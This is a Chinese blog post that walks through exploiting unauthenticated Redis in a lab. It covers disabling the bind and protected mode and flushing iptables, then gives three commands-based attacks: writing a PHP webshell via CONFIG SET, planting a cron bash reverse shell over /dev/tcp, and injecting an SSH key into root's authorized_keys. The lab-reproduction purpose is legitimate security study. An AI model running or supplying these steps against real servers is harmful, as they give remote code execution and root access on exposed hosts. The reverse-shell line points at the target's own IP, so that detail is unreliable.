redis未授权漏洞复现

明明如月001

已于 2022-05-31 11:31:54 修改

阅读量1k

点赞数 1

分类专栏：漏洞复现文章标签： redis 数据库安全

于 2022-05-31 11:30:18 首次发布

本文链接：https://blog.csdn.net/m0_65244586/article/details/125061251

版权

漏洞复现专栏收录该内容

8 篇文章 2 订阅

订阅专栏

0x01 redis 漏洞简介&危害

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。

Redis 默认情况下，会绑定在 0.0.0.0:6379，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，这样将会将 Redis 服务暴露到公网上，如果在没有设置密码认证（一般为空）的情况下，会导致以下风险：

1、任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

2、利用 Redis 自身的提供的config 命令，可以进行写入木马文件，执行flushall等恶意操作（Flushall 命令用于清空整个 Redis 服务器的数据(删除所有数据库的所有 key )）。

3、同时可以将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中，进而可以使用对应私钥直接使用ssh服务登录目标服务器。

0x02 利用条件

（1）redis绑定在 0.0.0.0:6379，且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略，直接暴露在公网；

（2）没有设置密码认证（一般为空），可以免密码远程登录redis服务。

我们可以通过以下命令查看是否设置了密码验证：

127.0.0.1:6379> CONFIG get requirepass
1) "requirepass"
2) ""

默认情况下 requirepass 参数是空的，这就意味着你无需通过密码验证就可以连接到 redis 服务。

你可以通过以下命令来修改该参数：

127.0.0.1:6379> CONFIG set requirepass "admin"
OK
127.0.0.1:6379> CONFIG get requirepass
1) "requirepass"
2) "admin"

设置密码后，客户端连接 redis 服务就需要密码验证，否则无法执行命令。

需要使用AUTH命令认证密码：

127.0.0.1:6379> AUTH password

0x03漏洞环境

靶机：192.168.100.134

攻击：192.168.100.129

安装redis服务：

（1）从官网下载源码的压缩包：
     wget http://download.redis.io/releases/redis-3.2.11.tar.gz 
（2）下载完成后，解压压缩包：
     tar xzf redis-3.2.11.tar.gz；
（3）然后进入解压后的目录：cd redis-3.2.11，输入make并执行；
（4）make结束后，进入src目录：cd src，将redis-server和redis-cli拷贝到/usr/bin目录下（这样启动redis-server和redis-cli就不用每次都进入安装目录了）：
（5）返回目录redis-3.2.11，将redis.conf拷贝到/etc/目录下：
（6）编辑etc中的redis配置文件redis.conf，如下图所示：
     去掉ip绑定，允许除本地外的主机远程登录redis服务：
      # 127.0.0.1   
     关闭保护模式，允许远程连接redis服务：
      protected-mode no
（7）使用/etc/目录下的reids.conf文件中的配置启动redis服务：
      redis-server /etc/redis.conf 
      iptables -F
如果给Redis设置密码，可以通过修改/etc/redis.conf 文件来配置密码，修改完重启服务
requirepass  admin

在这里插入图片描述

0x04漏洞利用

三种漏洞利用方式

1、写入webshell 文件

一旦控制 redis 后，优先想到的是写 webshell，容错性是它最大优势。假定目标是 PHP 环境、web 的根目录为/var/www/html，按前面步骤尝试写个普通 PHP 脚本看下是否能成功解析：

本实验，由于centos的apache有点问题，用kali作为目标机，在目标机kali开一下apache服务

service httpd apache2

然后在攻击端执行如下：

$ redis-cli -p 6379 -h 192.168.100.134
192.168.100.134:6379> CONFIG SET dbfilename phpinfo.php
192.168.100.134:6379> CONFIG SET dir "/var/www/html"
192.168.100.134:6379> CONFIG SET rdbcompression no
192.168.100.134:6379> SET phpinfo"\n\n <?php phpinfo(); ?> \n\n" NX
192.168.100.134:6379> save

在这里插入图片描述

2、计划任务反弹shell

将反弹shell脚本写入/var/spool/cron/

注意有些Linux版本可能是需要写到/etc/crontab

set xx "\n* * * * * bash -i >& /dev/tcp/192.168.100.134/9999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

在这里插入图片描述

3、导入ssh公钥

Redis 存在未授权访问或者弱口令并且开启了 ssh 服务的情况下，如果运行 redis 的用户是 root 用户，攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中，进而可以直接登录目标服务器。

01 在攻击方生成一对 ssh key

ssh-keygen -t rsa
# 默认情况下，生成后在用户的家目录下的 .ssh 目录下

在这里插入图片描述

02 利用msf的auxiliary/scanner/redis/file_upload 模块上传文件

cd /root/.ssh/
cp id_rsa.pub  authorized_keys

在这里插入图片描述

注意为了不破坏 ssh public key，在authorized_keys文件内容前后添加几个 \n\n

在这里插入图片描述

03 使用密钥连接

cd /root/.ssh
ssh -i id_rsa root@192.168.100.129

在这里插入图片描述